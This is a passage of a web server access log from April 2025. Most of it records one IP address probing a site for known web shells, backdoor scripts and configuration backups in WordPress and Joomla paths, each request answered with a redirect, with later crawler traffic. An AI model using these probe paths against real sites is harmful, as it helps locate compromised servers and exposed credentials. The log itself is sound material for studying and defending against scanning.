AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:07:14 -0400] "GET /xltavrat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:07:20 -0400] "GET /.wp-back.phP HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:07:24 -0400] "GET /wp-admin/fw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:07:29 -0400] "GET /wp-content/fw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:07:32 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:07:35 -0400] "GET /wp-includes/wp-class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:07:38 -0400] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:07:41 -0400] "GET /wp-commentin.php?pass=f0aab4595a024d626315fb786dce8282 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:07:44 -0400] "GET /wp-includes/js/tinymce/plugins/compat3x/css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:07:48 -0400] "GET /.well-known/acme-challenge/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:07:51 -0400] "GET /.well-known/pki-validation/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:07:56 -0400] "GET /wp-config-sample.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:08:00 -0400] "GET /.well-known/pki-validation/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:08:04 -0400] "GET /wp-includes/sodium_compat/src/Core32/Curve25519/Ge/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:08:07 -0400] "GET /libraries/fof/database/iterator/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:08:12 -0400] "GET /wp-content/style-css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:08:16 -0400] "GET /wp-content/data-db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:08:23 -0400] "GET /.well-known/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:08:29 -0400] "GET /components/com_newsfeeds/models/indexx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:08:35 -0400] "GET /plugins/finder/categories/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:08:40 -0400] "GET /updates.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:08:45 -0400] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:08:54 -0400] "GET /wp-head.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:08:59 -0400] "GET /thanks.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:09:04 -0400] "GET /wp-includes/random_compat/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:09:10 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:09:16 -0400] "GET /wp-content/themes/finley/min.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:09:19 -0400] "GET /wp-content/themes/mero-megazines/ws.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:09:24 -0400] "GET /wp-content/themes/welfare-charity/www.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:09:28 -0400] "GET /xl2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:09:32 -0400] "GET /xl2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:09:38 -0400] "GET /wp-admin/xl2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:09:43 -0400] "GET /wp-content/xl2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:09:47 -0400] "GET /wp-includes/xl2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:09:50 -0400] "GET /wp-content/themes/applica/400.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:09:54 -0400] "GET /wp-includes/sitemaps/providers/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:10:00 -0400] "GET /xleet.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:10:05 -0400] "GET /xleet-shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:10:13 -0400] "GET /wp-admin/xleet-shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:10:19 -0400] "GET /wp-content/xleet-shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:10:23 -0400] "GET /wp-includes/xleet-shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:10:27 -0400] "GET /wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:10:31 -0400] "GET /wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:10:37 -0400] "GET /wp-admin/wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:10:41 -0400] "GET /wp-content/wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:10:44 -0400] "GET /wp-includes/wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:10:48 -0400] "GET /shell20211028.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:10:51 -0400] "GET /wp-admin/shell20211028.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:10:56 -0400] "GET /wp-content/shell20211028.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:11:01 -0400] "GET /wp-includes/shell20211028.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:11:04 -0400] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:11:08 -0400] "GET /wp-content/plugins/seoplugins/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:11:12 -0400] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:11:16 -0400] "GET /wp-content/plugins/seoplugins/mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:11:20 -0400] "GET /wp-content/plugins/wordpress-three/miin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:11:22 -0400] "GET /wp-content/plugins/column/miin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:11:27 -0400] "GET /wp-content/plugins/wp-daft/miin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:11:30 -0400] "GET /wp-content/plugins/hellopress/wp_mna.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:11:33 -0400] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:11:36 -0400] "GET /lufix.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:11:42 -0400] "GET /wp-content/plugins/hellopress/0xlufix2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:11:50 -0400] "GET /wp-confiig.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:11:54 -0400] "GET /wp_wrong_datlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:11:57 -0400] "GET /repeater.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:12:01 -0400] "GET /wp-admin/css/colors/coffee/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:12:03 -0400] "GET /2index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:12:06 -0400] "GET /beence.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:12:09 -0400] "GET /wp-content/updates.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:12:12 -0400] "GET /loger.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:12:16 -0400] "GET /up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:12:19 -0400] "GET /vendor/htmlawed/htmlawed/gel4y.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:12:22 -0400] "GET /css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:12:25 -0400] "GET /data.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:12:29 -0400] "GET /mini.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:12:32 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:12:34 -0400] "GET /edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:12:36 -0400] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:12:39 -0400] "GET /gank.php.PhP HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:12:43 -0400] "GET /mt/pekok.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:12:47 -0400] "GET /ups.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:12:51 -0400] "GET /wikindex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:12:55 -0400] "GET /wp.php?Chitoge HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:12:58 -0400] "GET /wp-content/plugins/TOPXOH/wDR.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:13:02 -0400] "GET /wp-content/themes/sketch/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:13:07 -0400] "GET /doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:13:12 -0400] "GET /sym403.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:13:16 -0400] "GET /style.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:13:20 -0400] "GET /wp-content/plugins/w0rdpr3ssnew/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:13:25 -0400] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:13:31 -0400] "GET /database.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:13:35 -0400] "GET /wp-content/plugins/xwp/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:13:39 -0400] "GET /wp-content/plugins/anttt/simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:13:45 -0400] "GET /wp-content/plugins/instabuilder2/cache/plugins/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:13:48 -0400] "GET /wp-content/plugins/instabuilder2/cache/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:13:51 -0400] "GET /wp-includes/sodium_compat/src/Core32/Curve25519/Ge/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:13:55 -0400] "GET /wp-admin/x.php?action=768776e296b6f286f26796e2a72607e2972647 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:14:00 -0400] "GET /wp-content/plugins/wordpresss3cll/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:14:04 -0400] "GET /wp-content/plugins/wpyii2/wpyii2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:14:11 -0400] "GET /wp-content/plugins/wpputty/wpputty.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 135.125.27.249 - - [24/Apr/2025:00:14:14 -0400] "GET /wp-content/plugins/dos2unix/dos2unix.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 74.208.58.122 - - [24/Apr/2025:00:54:43 -0400] "GET /wp-config.backup HTTP/1.1" 301 795 "-" "-" 124.156.179.141 - - [24/Apr/2025:01:01:16 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 66.249.79.106 - - [24/Apr/2025:01:23:27 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.79.106 - - [24/Apr/2025:01:23:30 -0400] "GET /ads.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 220.181.51.120 - - [24/Apr/2025:01:23:57 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36" 113.116.195.122 - - [24/Apr/2025:01:30:20 -0400] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" 113.116.195.122 - - [24/Apr/2025:01:30:24 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" 117.62.235.53 - - [24/Apr/2025:01:48:25 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 137.184.160.237 - - [24/Apr/2025:02:35:01 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible)" 52.164.245.231 - - [24/Apr/2025:02:46:38 -0400] "GET /wp-content/ccx/ HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - 